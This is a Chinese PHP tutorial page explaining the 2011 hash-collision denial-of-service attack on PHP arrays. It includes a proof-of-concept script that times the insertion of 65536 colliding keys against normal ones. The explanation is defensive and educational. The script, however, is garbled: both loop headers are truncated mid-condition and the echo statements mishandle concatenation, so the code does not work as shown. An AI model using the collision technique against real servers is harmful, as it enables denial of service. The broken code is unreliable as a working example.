首页 > php教程 > php手册 > Array(hash)爆出的冲突问题

Array(hash)爆出的冲突问题

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
发布: 2016-06-21 08:52:18
原创
1091 人浏览过

  最近(貌似是28号)从国外(地址:http://nikic.github.com/2011/12/28/Supercolliding-a-PHP-array.html)爆出了一个关于Array的新PHP冲突,可以利用调用hash表的冲突对服务器进行拒绝服务攻击。

  原理:目前很多语言, 使用hash来存储key – value数据,包括常用的来自用户的POST数据,攻击者可以通过构造请求头,并伴随POST大量的特殊的”key”值(根据每个语言的Hash算法不同而定制),使得语言底层保存POST数据的Hash表因为”冲突”(碰撞)而退化成链表。

 

  这样一来,如果数据量足够大, 那么就可以使得语言在计算,查找,插入的时候, 造成大量的CPU占用,从而实现拒绝服务攻击。

 

  

  $size = pow(2, 16);

  $startTime = microtime(true);

  $array = array();

  for ($key = 0, $maxKey = ($size - 1) * $size; $key

  $array[$key] = 0;

  }

  $endTime = microtime(true);

  echo '插入 ' . $size . ' 个恶意的元素需要 ' . $endTime - $startTime . ' 秒' . "\n";

  $startTime = microtime(true);

  $array = array();

  for ($key = 0, $maxKey = $size - 1; $key

  $array[$key] = 0;

  }

  $endTime = microtime(true);

  echo '插入 ' . $size . ' 个普通元素需要 ' . $endTime - $startTime . ' 秒' . "\n";

  /**

  * 结果

  *

  * 插入 65536 个恶意的元素需要 36.357950925827 秒

  * 插入 65536 个普通元素需要 0.029613018035889 秒

  */



相关标签:
本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
最新问题
数组转化array
来自于 1970-01-01 08:00:00
0
0
0
老师,为什么我输出的Array是空的
来自于 1970-01-01 08:00:00
0
0
0
es6 - JavaScript如何将string转array
来自于 1970-01-01 08:00:00
0
0
0
把两个Array合并为一个json的格式
来自于 1970-01-01 08:00:00
0
0
0
热门推荐
热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板